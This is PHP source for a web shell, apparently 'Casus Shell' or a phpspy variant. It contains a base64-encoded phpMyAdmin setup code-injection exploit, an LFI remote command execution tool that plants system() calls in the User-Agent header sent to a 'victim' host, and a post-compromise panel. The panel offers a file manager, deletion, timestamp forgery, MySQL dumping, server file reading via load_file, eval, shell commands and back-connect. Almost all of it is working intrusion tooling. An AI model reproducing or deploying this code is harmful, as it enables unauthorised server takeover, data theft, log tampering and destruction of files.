IC8gIC98IHx8IHx8ICAgKShfKXwgICB8XCB8IC8KICA+X18pfF9bXyBcX19cfF9fX198fF98X1x8
X3wgfF98ICB8X3wKIApVc2UgcmVzcG9uc2libHkuCiAKPD9waHAgZWNobyBwaHBfc2FwaV9uYW1l
KCkhPT0nY2xpJz8nPC9wcmU+JzonJzsKIAppZihwaHBfc2FwaV9uYW1lKCk9PT0nY2xpJyl7CiAg
ICBpZighaXNzZXQoJGFyZ3ZbMV0pKXsKICAgICAgICBvdXRwdXQoIiAgIFVzYWdlXG4gICAgIi4k
YXJndlswXS4iIGh0dHA6Ly9leGFtcGxlLmNvbS9waHBNeUFkbWluLTMuMy45LjIiKTsKICAgICAg
ICBraWxsbWUoKTsKICAgIH0KICAgICRwbWF1cmwgPSAkYXJndlsxXTsKfWVsc2V7CiAgICAkcG1h
dXJsID0gaXNzZXQoJF9SRVFVRVNUWyd1cmwnXSk/JF9SRVFVRVNUWyd1cmwnXTonJzsKfQokY29k
ZSAgID0gJ2ZvcmVhY2goJF9HRVQgYXMgJGs9PiR2KWlmKCRrPT09ImV2YWwiKWV2YWwoJHYpOyc7
CiRjb29raWUgPSBudWxsOwokdG9rZW4gID0gbnVsbDsKaWYoIWZ1bmN0aW9uX2V4aXN0cygnY3Vy
bF9pbml0JykpewogICAgb3V0cHV0KCdbIV0gRmF0YWwgZXJyb3IuIE5lZWQgY1VSTCEnKTsKICAg
IGtpbGxtZSgpOwp9CiRjaCAgICAgPSBjdXJsX2luaXQoKTsKJGRlYnVnICA9IDA7CmlmKHBocF9z
YXBpX25hbWUoKSE9PSdjbGknKXsKPz4KPGZvcm0gbWV0aG9kPXBvc3Q+ClVSTDogPGlucHV0IG5h
bWU9dXJsIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHBtYXVybCk7Pz4iPiBF
eGFtcGxlOiBodHRwOi8vbG9jYWxob3N0OjgwODAvcGhwTXlBZG1pbi0zLjMuOS4yPGJyLz4KPGlu
cHV0IG5hbWU9c3VibWl0IHR5cGU9c3VibWl0IHZhbHVlPSYjOTgyOTs+CjwvZm9ybT4KPHByZT4K
PD9waHAKaWYoIWlzc2V0KCRfUkVRVUVTVFsnc3VibWl0J10pKWtpbGxtZSh0cnVlKTsKfQogCm91
dHB1dCgiW2ldIFJ1bm5pbmcuLi4iKTsKIAovLyBTdGFydCBhIHNlc3Npb24gYW5kIGdldCBhIHRv
a2VuCmN1cmxfc2V0b3B0X2FycmF5KCRjaCwgYXJyYXkoCiAgICBDVVJMT1BUX1VSTCA9PiAkcG1h
dXJsLicvc2V0dXAvaW5kZXgucGhwJywKICAgIENVUkxPUFRfSEVBREVSID0+IDEsCiAgICBDVVJM
T1BUX1JFVFVSTlRSQU5TRkVSID0+IDEsCiAgICBDVVJMT1BUX1RJTUVPVVQgPT4gNCwKICAgIENV
UkxPUFRfU1NMX1ZFUklGWVBFRVIgPT4gZmFsc2UsCiAgICBDVVJMT1BUX1NTTF9WRVJJRllIT1NU
ID0+IGZhbHNlCikpOwpvdXRwdXQoIlsqXSBDb250YWN0aW5nIHNlcnZlciB0byByZXRyaXZlIHNl
c3Npb24gY29va2llIGFuZCB0b2tlbi4iKTsKIAokcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7Cmlm
KDQwNCA9PSBjdXJsX2dldGluZm8oJGNoLCBDVVJMSU5GT19IVFRQX0NPREUpKXsKICAgIG91dHB1
dCgiWyFdIEZhaWwuICRwbWF1cmwvc2V0dXAvaW5kZXgucGhwIHJldHVybmVkIDQwNC4gVGhlIGhv
c3QgaXMgbm90IHZ1bG5lcmFibGUgb3IgdGhlcmUgaXMgYSBwcm9ibGVtIHdpdGggdGhlIHN1cHBs
aWVkIHVybC4iKTsKICAgIGtpbGxtZSgpOwp9CmlmKCEkcmVzdWx0KXsKICAgIG91dHB1dCgiWyFd
IGNVUkwgZXJyb3I6Ii5jdXJsX2Vycm9yKCRjaCkpOwogICAga2lsbG1lKCk7Cn0KaWYoZmFsc2Ug
IT09IHN0cnBvcygkcmVzdWx0LCAnQ2Fubm90IGxvYWQgb3Igc2F2ZSBjb25maWd1cmF0aW9uJykp
ewogICAgb3V0cHV0KCJbIV0gRmFpbC4gSG9zdCBub3QgdnVsbmVyYWJsZS4gV2ViIHNlcnZlciB3
cml0YWJsZSBmb2xkZXIgJHBtYXVybC9jb25maWcvIGRvZXMgbm90IGV4c2lzdC4iKTsKICAgIGtp
bGxtZSgpOwp9CiAKLy8gRXh0cmFjdCBjb29raWUKcHJlZ19tYXRjaCgnL3BocE15QWRtaW49KFte
O10rKS8nLCAkcmVzdWx0LCAkbWF0Y2hlcyk7CiRjb29raWUgPSAkbWF0Y2hlc1sxXTsKb3V0cHV0
KCJbaV0gQ29va2llOiIuJGNvb2tpZSk7Ci8vIEV4dHJhY3QgdG9rZW4KcHJlZ19tYXRjaCgnLyh0
b2tlbj18dG9rZW4iIHZhbHVlPSIpKFswLTlhLWZdezMyfSkvJywgJHJlc3VsdCwgJG1hdGNoZXMp
OwokdG9rZW4gPSAkbWF0Y2hlc1syXTsKb3V0cHV0KCJbaV0gVG9rZW46Ii4kdG9rZW4pOwogCi8v
IFBvaXNvbiBfU0VTU0lPTiB2YXJpYWJsZQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAk
cG1hdXJsLicvP19TRVNTSU9OW0NvbmZpZ0ZpbGVdW1NlcnZlcnNdWyovJy51cmxlbmNvZGUoJGNv
ZGUpLicvKl1bcG9ydF09MCZzZXNzaW9uX3RvX3Vuc2V0PXgmdG9rZW49Jy4kdG9rZW4pOwpjdXJs
X3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFLCAncGhwTXlBZG1pbj0nLiRjb29raWUpOwpvdXRw
dXQoIlsqXSBDb250YWN0aW5nIHNlcnZlciB0byBpbmplY3QgY29kZSBpbnRvIHRoZSBfU0VTU0lP
TltDb25maWdGaWxlXVtTZXJ2ZXJzXSBhcnJheS4iKTsKaWYoISRyZXN1bHQgPSBjdXJsX2V4ZWMo
JGNoKSl7CiAgICBvdXRwdXQoIlshXSBjVVJMIGVycm9yOiIuY3VybF9lcnJvcigkY2gpKTsKICAg
IGtpbGxtZSgpOwp9CiAKLy9lY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHJlc3VsdCxFTlRfUVVPVEVT
KTsKIAovLyBTYXZlIGZpbGUKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHBtYXVybC4n
L3NldHVwL2NvbmZpZy5waHAnKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOwpj
dXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgJ3N1Ym1pdF9zYXZlPVNhdmUmdG9r
ZW49Jy4kdG9rZW4pOwpvdXRwdXQoIlsqXSBDb250YWN0aW5nIHNlcnZlciB0byBtYWtlIGl0IHNh
dmUgdGhlIGluamVjdGVkIGNvZGUgdG8gYSBmaWxlLiIpOwppZighJHJlc3VsdCA9IGN1cmxfZXhl
YygkY2gpKXsKICAgIG91dHB1dCgiWyFdIGNVUkwgZXJyb3I6Ii5jdXJsX2Vycm9yKCRjaCkpOwog
ICAga2lsbG1lKCk7Cn0KIAovL2VjaG8gaHRtbHNwZWNpYWxjaGFycygkcmVzdWx0LEVOVF9RVU9U
RVMpOwogCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRwbWF1cmwuJy9jb25maWcvY29u
ZmlnLmluYy5waHA/ZXZhbD1lY2hvJTIwbWQ1KDEyMyk7Jyk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VS
TE9QVF9QT1NULCAwKTsKb3V0cHV0KCJbKl0gQ29udGFjdGluZyBzZXJ2ZXIgdG8gdGVzdCBpZiB0
aGUgaW5qZWN0ZWQgY29kZSBleGVjdXRlcy4iKTsKaWYoISRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNo
KSl7CiAgICBvdXRwdXQoIlshXSBjVVJMIGVycm9yOiIuY3VybF9lcnJvcigkY2gpKTsKICAgIGtp
bGxtZSgpOwp9CmlmKHByZWdfbWF0Y2goJy8yMDJjYjk2MmFjNTkwNzViOTY0YjA3MTUyZDIzNGI3
MC8nLCAkcmVzdWx0KSl7CiAgICBvdXRwdXQoIlshXSBDb2RlIGluamVjdGlvbiBzdWNjZXNzZnVs
bC4gVGhpcyBpbnN0YW5jZSBvZiBwaHBNeUFkbWluIGlzIHZ1bG5lcmFibGUhIik7CiAgICBvdXRw
dXQoIlsrXSBVc2UgeW91ciBicm93c2VyIHRvIGV4ZWN1dGUgUEhQIGNvZGUgbGlrZSB0aGlzICRw
bWF1cmwvY29uZmlnL2NvbmZpZy5pbmMucGhwP2V2YWw9ZWNobyUyMCd0ZXN0JzsiKTsKfWVsc2V7
CiAgICBvdXRwdXQoIlshXSBDb2RlIGluamVjdGlvbiBmYWlsZWQuIFRoaXMgaW5zdGFuY2Ugb2Yg
cGhwTXlBZG1pbiBkb2VzIG5vdCBhcGVhciB0byBiZSB2dWxuZXJhYmxlLiIpOwp9CiAKIApjdXJs
X2Nsb3NlKCRjaCk7CiAKZnVuY3Rpb24gb3V0cHV0KCRtc2cpewogICAgZWNobyBwaHBfc2FwaV9u
YW1lKCkhPT0nY2xpJz9odG1sc3BlY2lhbGNoYXJzKCIkbXNnXG4iLEVOVF9RVU9URVMpOiIkbXNn
XG4iOwogICAgZmx1c2goKTsKfQogCmZ1bmN0aW9uIGtpbGxtZSgpewogICAgb3V0cHV0KCJbKl0g
RXhpdGluZy4uLiIpOwogICAgZWNobyBwaHBfc2FwaV9uYW1lKCkhPT0nY2xpJz8nPHByZT4nOicn
OwogICAgZGllKCk7Cn0KIAplY2hvIHBocF9zYXBpX25hbWUoKSE9PSdjbGknPyc8cHJlPic6Jyc7
Pz4=\';
$file = fopen("pmadmin.php" ,"w+");
$write = fwrite ($file ,base64_decode($asdas1));
fclose($file);
echo "<iframe src=pmadmin.php width=100% height=640 frameborder=0></iframe> ";
?>
<?
}
if( $red == "lfirce" ) {
?>
<style>
body {
background: #000;
color: #CFCFCF;
font-family: \'Times New Roman\';
}
input {
border: 1px solid #000;
background: #000;
color: #CFCFCF;
}
pre {
font-size: 10pt;
}
hr {
width: 100%;
}
td {
border: 1px outset #454545;
background: #454545;
font-size: 9pt;
padding: 2px;
padding-left: 5px;
font-family: verdana;
}
</style>
<title>###[ LFI Remote Command Execution By XTERM -E-X-P-L-O-R-E- -C-R-E-W- w3 4r3 th3 4nk3r t34m ]###</title>
<body>
<table border=0 width=860 align=center><tr><Td><center><p style="font-size: 18pt;"><b>- E - X - P - L - O - R - E - - C - R - E - W -</b><br>
- = = = w3 4r3 th3 4nk3r t34m = = = -
<B>=[ LFI Remote Command Execution ]=</b></td></tr></center>
</table>
<?php
if($_POST[\'injek\']):
$sasaran= str_replace("http://","",$_POST[\'host\']);
$sp = explode("/",$sasaran);
$victim = $sp[0];
$port = 80;
$inject = str_replace($victim,"",$sasaran);
$command = "XHOSTNAME<?php echo system(\'hostname;echo ;\'); ?>XHOSTNAME";
$command .= "XSIP<?php echo \$_SERVER[\'SERVER_ADDR\']; ?>XSIP";
$command .= "XUNAME<?php echo system(\'uname -a;echo ;\'); ?>XUNAME";
$command .= "XUSERID<?php echo system(\'id;echo ;\'); ?>XUSERID";
$command .= "XPWD<?php echo system(\'pwd;echo ;\'); ?>XPWD";
$command .= "XPHP<?php echo phpversion(); ?>XPHP";
if($_POST[\'cwd\']){
$command .= "XCWD<?php chdir(\'".$_POST[\'cwd\']."\'); ?>XCWD";
}
$command .= "EXPLORE<pre><?php echo system(\'".$_POST[\'cmd\']."; echo ; exit;\'); ?></pre>EXPLORE";
if(eregi(":",$victim)){
$vp = explode(":",$victim);
$victim = $vp[0];
$port = $vp[1];
}
$sock = fsockopen($victim,$port,$errno,$errstr,30);
if ($sock) {
$get = "GET ".$inject." HTTP/1.1\r\n".
"Host: ".$victim."\r\n".
"Accept: */*\r\n".
"User-Agent: Mozilla/5.0 ".$command."\r\n".
"Connection: Close\r\n\r\n";
fputs($sock,$get);
while (!feof($sock)) {
$output .= trim(fgets($sock, 3600000))."\n";
}
fclose($sock);
}
$hostp = explode("XHOSTNAME",$output); $hostname = $hostp[1];
$ipp = explode("XSIP",$output); $ip = $ipp[1];
$unamep = explode("XUNAME",$output); $uname = $unamep[1];
$userp = explode("XUSERID",$output); $userid = $userp[1];
$currp = explode("XPWD",$output); $current = $currp[1];
$writes = @is_writable($current);
$phpvp = explode("XPHP",$output); $phpversion = $phpvp[1];
$hasil = explode("EXPLORE",$output); $return = $hasil[1];
endif;
?>
<form action=\'<?php echo $_SERVER[\'PHP_SELF\'] ?>\' method=\'post\'>
<table border=0 align=center width=860>
<?php if($_POST[\'injek\']){ ?>
<tr>
<td colspan=3> </td>
</tr>
<tr><Td><b>Hostname</b> </td><td>:</td>
<td><?php echo $victim ?></td>
</tr>
<tr><Td><b>Nodename</b> </td><td>:</td>
<td><?php echo $hostname ?></td>
</tr>
<tr><Td><b>IP Address</b> </td><td>:</td>
<td><?php echo $ip ?></td>
</tr>
<tr><Td><b>Uname -a</b></td><td>:</td>
<td><?php echo $uname ?></td>
</tr>
<tr><Td><b>User ID</b></td><td>:</td>
<td><?php echo $userid ?></td>
</tr>
<tr><Td><b>Script Path</b></td><td>:</td>
<td><?php echo $current; if($writes){ echo "<b>Writeable!</b>"; } ?></td>
</tr>
<tr><Td><b>PHP Version</b></td><td>:</td>
<td><?php echo $phpversion ?></td>
</tr>
<?php } ?>
<tr>
<td colspan=3> </td>
</tr>
<tr><Td width=130><b>Victim </b></td><td>:</td>
<td><input type=text size=110 value=\'<?php echo $_POST[\'host\'] ?>\' name=host /></td>
</tr>
<?php if($_POST[\'injek\']){ ?>
<tr><Td width=130><b>Work Directory</b></td><td>:</td>
<td><input type=text size=110 value=\'<?php echo (($_POST[\'cwd\'])?$_POST[\'cwd\']:$current); ?>\' name=cwd /></td>
</tr>
<?php } ?>
<tr><Td><b>Command </b></td><td>:</td>
<Td><input type=text size=110 value=\'<?php echo $_POST[\'cmd\']; ?>\' name=cmd /></td>
</tr>
<tr><td colspan=2> </td><td><input type=submit name=injek value="Execute!" /></td></tr>
<tr>
<td colspan=3> </td>
</tr>
</table>
<?php
if($_POST[\'injek\']):
echo "<table border=0 width=860 align=center><tr><Td> <pre>".$hasil[1]."</pre></td></tr></table>";
endif;
echo "</form>";
echo "<PRE style=\'text-align: center; width: 100%; color: #454545\'>###[ LFI Remote Command Execution By XTERM -E-X-P-L-O-R-E- -C-R-E-W- w3 4r3 th3 4nk3r t34m ]###</pre>";
exit();
?>
<?
}
?>
<?php
error_reporting(7);
@set_magic_quotes_runtime(0);
ob_start();
$mtime = explode(\' \', microtime());
$starttime = $mtime[1] + $mtime[0];
define(\'SA_ROOT\', str_replace(\'\\\', \'/\', dirname(__FILE__)).\'/\');
//define(\'IS_WIN\', strstr(PHP_OS, \'WIN\') ? 1 : 0 );
define(\'IS_WIN\', DIRECTORY_SEPARATOR == \'\\\');
define(\'IS_COM\', class_exists(\'COM\') ? 1 : 0 );
define(\'IS_GPC\', get_magic_quotes_gpc());
$dis_func = get_cfg_var(\'disable_functions\');
define(\'IS_PHPINFO\', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
@set_time_limit(0);
foreach(array(\'_GET\',\'_POST\') as $_request) {
foreach($$_request as $_key => $_value) {
if ($_key{0} != \'_\') {
if (IS_GPC) {
$_value = s_array($_value);
}
$$_key = $_value;
}
}
}
/*===================== ||-Є+ф+| =====================*/
$admin = array();
// -|+ё-ш-к|#-ы-щ+д, true +к-ш-к-щ+д, false +к+#+++ +ы.--|ц-б-ю+Є+|-з
$admin[\'check\'] = 0;
// +ч| -ш-к|#-ы-щ+д,|ы-|+-||-+|#-ы
$admin[\'pass\'] = \'angel\';
//+ч- |+ cookie +ў+|+|+з+-|+-т-к|є, +Є||-+#++ |г, |ы-|+---|ц#ф-+, +ё+Є|ы#г|+-м+-
// cookie |#+|
$admin[\'cookiepre\'] = \'\';
// cookie +ў+|+Є
$admin[\'cookiedomain\'] = \'\';
// cookie +ў+|-++|
$admin[\'cookiepath\'] = \'/\';
// cookie +--з|+
$admin[\'cookielife\'] = 86400;
/*===================== +ф+|+с- =====================*/
if ($charset == \'utf8\') {
header("content-Type: text/html; charset=utf-8");
} elseif ($charset == \'big5\') {
header("content-Type: text/html; charset=big5");
} elseif ($charset == \'gbk\') {
header("content-Type: text/html; charset=gbk");
} elseif ($charset == \'latin1\') {
header("content-Type: text/html; charset=iso-8859-2");
}
$self = $_SERVER[\'PHP_SELF\'] ? $_SERVER[\'PHP_SELF\'] : $_SERVER[\'SCRIPT_NAME\'];
$timestamp = time();
/*===================== +э+|-щ+д =====================*/
if ($action == "logout") {
scookie(\'phpspypass\', \'\', -86400 * 365);
p(\'<meta http-equiv="refresh" content="1;URL=\'.$self.\'">\');
p(\'<a style="font:12px Verdana" href="\'.$self.\'">Success</a>\');
exit;
}
if($admin[\'check\']) {
if ($doing == \'login\') {
if ($admin[\'pass\'] == $password) {
scookie(\'phpspypass\', $password);
p(\'<meta http-equiv="refresh" content="1;URL=\'.$self.\'">\');
p(\'<a style="font:12px Verdana" href="\'.$self.\'">Success</a>\');
exit;
}
}
if ($_COOKIE[\'phpspypass\']) {
if ($_COOKIE[\'phpspypass\'] != $admin[\'pass\']) {
loginpage();
}
} else {
loginpage();
}
}
/*===================== -щ+д+с- =====================*/
$errmsg = \'\';
// #щ+|PHPINFO
if ($action == \'phpinfo\') {
if (IS_PHPINFO) {
phpinfo();
} else {
$errmsg = \'phpinfo() function has non-permissible\';
}
}
// --+++-+
if ($doing == \'downfile\' && $thefile) {
if (!@file_exists($thefile)) {
$errmsg = \'The file you want Downloadable was nonexistent\';
} else {
$fileinfo = pathinfo($thefile);
header(\'Content-type: application/x-\'.$fileinfo[\'extension\']);
header(\'Content-Disposition: attachment; filename=\'.$fileinfo[\'basename\']);
header(\'Content-Length: \'.filesize($thefile));
@readfile($thefile);
exit;
}
}
// +#++--++#++|- +|+т
if ($doing == \'backupmysql\' && !$saveasfile) {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
$table = array_flip($table);
$result = q("SHOW tables");
if (!$result) p(\'<h2>\'.mysql_error().\'</h2>\');
$filename = basename($_SERVER[\'HTTP_HOST\'].\'_MySQL.sql\');
header(\'Content-type: application/unknown\');
header(\'Content-Disposition: attachment; filename=\'.$filename);
$mysqldata = \'\';
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
$mysqldata .= sqldumptable($currow[0]);
}
}
mysql_close();
exit;
}
// -и| MYSQL--+++-+
if($doing==\'mysqldown\'){
if (!$dbname) {
$errmsg = \'Please input dbname\';
} else {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
if (!file_exists($mysqldlfile)) {
$errmsg = \'The file you want Downloadable was nonexistent\';
} else {
$result = q("select load_file(\'$mysqldlfile\');");
if(!$result){
q("DROP TABLE IF EXISTS tmp_angel;");
q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
//+|-#+ф|-+|#э-+++|-,##|т|Ў-+|-+б+++э+Є# |м__angel_1111111111_eof__|-+-+ -##+-ъ+ |-|щ+Ў
q("LOAD DATA LOCAL INFILE \'".addslashes($mysqldlfile)."\' INTO TABLE tmp_angel FIELDS TERMINATED BY \'__angel_{$timestamp}_eof__\' ESCAPED BY \'\' LINES TERMINATED BY \'__angel_{$timestamp}_eof__\';");
$result = q("select content from tmp_angel");
q("DROP TABLE tmp_angel");
}
$row = @mysql_fetch_array($result);
if (!$row) {
$errmsg = \'Load file failed \'.mysql_error();
} else {
$fileinfo = pathinfo($mysqldlfile);
header(\'Content-type: application/x-\'.$fileinfo[\'extension\']);
header(\'Content-Disposition: attachment; filename=\'.$fileinfo[\'basename\']);
header("Accept-Length: ".strlen($row[0]));
echo $row[0];
exit;
}
}
}
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk">
<title><?php echo str_replace(\'.\',\'\',\'Marco Pviv 9 | Casus Shell\');?></title>
<style type="text/css">
body,td{font: 12px Arial,Tahoma;line-height: 16px;}
.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
.area{font:12px \'Courier New\', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
a {color: #00f;text-decoration:underline;}
a:hover{color: #f00;text-decoration:none;}
.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
</style>
<script type="text/javascript">
function CheckAll(form) {
for(var i=0;i<form.elements.length;i++) {
var e = form.elements[i];
if (e.name != \'chkall\')
e.checked = form.chkall.checked;
}
}
function $(id) {
return document.getElementById(id);
}
function goaction(act){
$(\'goaction\').action.value=act;
$(\'goaction\').submit();
}
</script>
</head>
<body style="margin:0;table-layout:fixed; word-break:break-all">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr class="head">
<td><span style="float:right;"><a href="m4rc0-security.blogspot.com" target="_blank"><?php echo str_replace(\'.\',\'\',\'M.a.r.c.o.S.p.y\');?> Ver: 2012 </a></span><?php echo $_SERVER[\'HTTP_HOST\'];?> (<?php echo gethostbyname($_SERVER[\'SERVER_NAME\']);?>)</td>
</tr>
<tr class="alt1">
<td><span style="float:right;">Safe Mode:<?php echo getcfg(\'safe_mode\');?></span>
<a href="javascript:goaction(\'logout\');"><FONT FACE="tahoma" color="#999999"> <left<br></span><span style="font-weight:bold; text-shadow:red 0px 0px 8px; color:red">CIKIS</a> |
<a href="javascript:goaction(\'file\');"><FONT FACE="tahoma" color="#999999"> <right<br></span><span style="font-weight:bold; text-shadow:red 0px 0px 8px; color:red">File Manager</a> |
<a href="javascript:goaction(\'sqladmin\');"><FONT FACE="tahoma" color="#999999"> <left<br></span><span style="font-weight:bold; text-shadow:red 0px 0px 8px; color:red">MySQL Manager</a> |
<a href="javascript:goaction(\'sqlfile\');"><FONT FACE="tahoma" color="#999999"> <left<br></span><span style="font-weight:bold; text-shadow:red 0px 0px 8px; color:red">MySQL Upload & Download</a> |
<a href="javascript:goaction(\'shell\');"><FONT FACE="tahoma" color="#999999"> <left<br></span><span style="font-weight:bold; text-shadow:red 0px 0px 8px; color:red">Komut CALISTIR</a> |
<a href="javascript:goaction(\'phpenv\');"><FONT FACE="tahoma" color="#999999"> <left<br></span><span style="font-weight:bold; text-shadow:red 0px 0px 8px; color:red">PHP Variable</a> |
<a href="javascript:goaction(\'eval\');"><FONT FACE="tahoma" color="#999999"> <left<br></span><span style="font-weight:bold; text-shadow:red 0px 0px 8px; color:red">Eval PHP Code</a>
<?php if (!IS_WIN) {?> | <a href="javascript:goaction(\'backconnect\');"><FONT FACE="tahoma" color="#999999"> <left<br></span><span style="font-weight:bold; text-shadow:red 0px 0px 8px; color:red">Back Connect</a><?php }?>
</td>
</tr>
</table>
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<?php
formhead(array(\'name\'=>\'goaction\'));
makehide(\'action\');
formfoot();
$errmsg && m($errmsg);
// +ё+б|#|#-++|
!$dir && $dir = \'.\';
$nowpath = getPath(SA_ROOT, $dir);
if (substr($dir, -1) != \'/\') {
$dir = $dir.\'/\';
}
$uedir = ue($dir);
if (!$action || $action == \'file\') {
// +-|-|--||щ+Ў
$dir_writeable = @is_writable($nowpath) ? \'Writable\' : \'Non-writable\';
// ++| -+-+
if ($doing == \'deldir\' && $thefile) {
if (!file_exists($thefile)) {
m($thefile.\' directory does not exist\');
} else {
m(\'Directory delete \'.(deltree($thefile) ? basename($thefile).\' success\' : \'failed\'));
}
}
// ||+и-+-+
elseif ($newdirname) {
$mkdirs = $nowpath.$newdirname;
if (file_exists($mkdirs)) {
m(\'Directory has already existed\');
} else {
m(\'Directory created \'.(@mkdir($mkdirs,0777) ? \'success\' : \'failed\'));
@chmod($mkdirs,0777);
}
}
// +-|л+-+
elseif ($doupfile) {
m(\'File upload \'.(@copy($_FILES[\'uploadfile\'][\'tmp_name\'],$uploaddir.\'/\'.$_FILES[\'uploadfile\'][\'name\']) ? \'success\' : \'failed\'));
}
// #р+н+-+
elseif ($editfilename && $filecontent) {
$fp = @fopen($editfilename,\'w\');
m(\'Save file \'.(@fwrite($fp,$filecontent) ? \'success\' : \'failed\'));
@fclose($fp);
}
// #р+н+-+ -Ї-+
elseif ($pfile && $newperm) {
if (!file_exists($pfile)) {
m(\'The original file does not exist\');
} else {
$newperm = base_convert($newperm,8,10);
m(\'Modify file attributes \'.(@chmod($pfile,$newperm) ? \'success\' : \'failed\'));
}
}
// +-|
elseif ($oldname && $newfilename) {
$nname = $nowpath.$newfilename;
if (file_exists($nname) || !file_exists($oldname)) {
m($nname.\' has already existed or original file does not exist\');
} else {
m(basename($oldname).\' renamed \'.basename($nname).(@rename($oldname,$nname) ? \' success\' : \'failed\'));
}
}
// +|+|+-+
elseif ($sname && $tofile) {
if (file_exists($tofile) || !file_exists($sname)) {
m(\'The goal file has already existed or original file does not exist\');
} else {
m(basename($tofile).\' copied \'.(@copy($sname,$tofile) ? basename($tofile).\' success\' : \'failed\'));
}
}
// +--б-#+ф
elseif ($curfile && $tarfile) {
if (!@file_exists($curfile) || !@file_exists($tarfile)) {
m(\'The goal file has already existed or original file does not exist\');
} else {
$time = @filemtime($tarfile);
m(\'Modify file the last modified \'.(@touch($curfile,$time,$time) ? \'success\' : \'failed\'));
}
}
// ++|и-х-#+ф
elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
if (!@file_exists($curfile)) {
m(basename($curfile).\' does not exist\');
} else {
$time = strtotime("$year-$month-$day $hour:$minute:$second");
m(\'Modify file the last modified \'.(@touch($curfile,$time,$time) ? \'success\' : \'failed\'));
}
}
// |Є# --++
elseif($doing == \'downrar\') {
if ($dl) {
$dfiles=\'\';
foreach ($dl as $filepath => $value) {
$dfiles.=$filepath.\',\';
}
$dfiles=substr($dfiles,0,strlen($dfiles)-1);
$dl=explode(\',\',$dfiles);
$zip=new PHPZip($dl);
$code=$zip->out;
header(\'Content-type: application/octet-stream\');
header(\'Accept-Ranges: bytes\');
header(\'Accept-Length: \'.strlen($code));
header(\'Content-Disposition: attachment;filename=\'.$_SERVER[\'HTTP_HOST\'].\'_Files.tar.gz\');
echo $code;
exit;
} else {
m(\'Please select file(s)\');
}
}
// + -+++| +-+
elseif($doing == \'delfiles\') {
if ($dl) {
$dfiles=\'\';
$succ = $fail = 0;
foreach ($dl as $filepath => $value) {
if (@unlink($filepath)) {
$succ++;
} else {
$fail++;
}
}
m(\'Deleted file have finishedгмchoose \'.count($dl).\' success \'.$succ.\' fail \'.$fail);
} else {
m(\'Please select file(s)\');
}
}
//#++ў-ъ#-
formhead(array(\'name\'=>\'createdir\'));
makehide(\'newdirname\');
makehide(\'dir\',$nowpath);
formfoot();
formhead(array(\'name\'=>\'fileperm\'));
makehide(\'newperm\');
makehide(\'pfile\');
makehide(\'dir\',$nowpath);
formfoot();
formhead(array(\'name\'=>\'copyfile\'));
makehide(\'sname\');
makehide(\'tofile\');
makehide(\'dir\',$nowpath);
formfoot();
formhead(array(\'name\'=>\'rename\'));
makehide(\'oldname\');
makehide(\'newfilename\');
makehide(\'dir\',$nowpath);
formfoot();
formhead(array(\'name\'=>\'fileopform\'));
makehide(\'action\');
makehide(\'opfile\');
makehide(\'dir\');
formfoot();
$free = @disk_free_space($nowpath);
!$free && $free = 0;
$all = @disk_total_space($nowpath);
!$all && $all = 0;
$used = $all-$free;
$used_percent = @round(100/($all/$free),2);
p(\'<h2>File Manager - Current disk free \'.sizecount($free).\' of \'.sizecount($all).\' (\'.$used_percent.\'%)</h2>\');
?>
<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
<form action="" method="post" id="godir" name="godir">
<tr>
<td nowrap>Bulundugun Dizin (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
<td nowrap><input class="bt" value="GO" type="submit"></td>
</tr>
</form>
</table>
<script type="text/javascript">
function createdir(){
var newdirname;
newdirname = prompt(\'Please input the directory name:\', \'\');
if (!newdirname) return;
$(\'createdir\').newdirname.value=newdirname;
$(\'createdir\').submit();
}
function fileperm(pfile){
var newperm;
newperm = prompt(\'Current file:\'+pfile+\'\nPlease input new attribute:\', \'\');
if (!newperm) return;
$(\'fileperm\').newperm.value=newperm;
$(\'fileperm\').pfile.value=pfile;
$(\'fileperm\').submit();
}
function copyfile(sname){
var tofile;
tofile = prompt(\'Original file:\'+sname+\'\nPlease input object file (fullpath):\', \'\');
if (!tofile) return;
$(\'copyfile\').tofile.value=tofile;
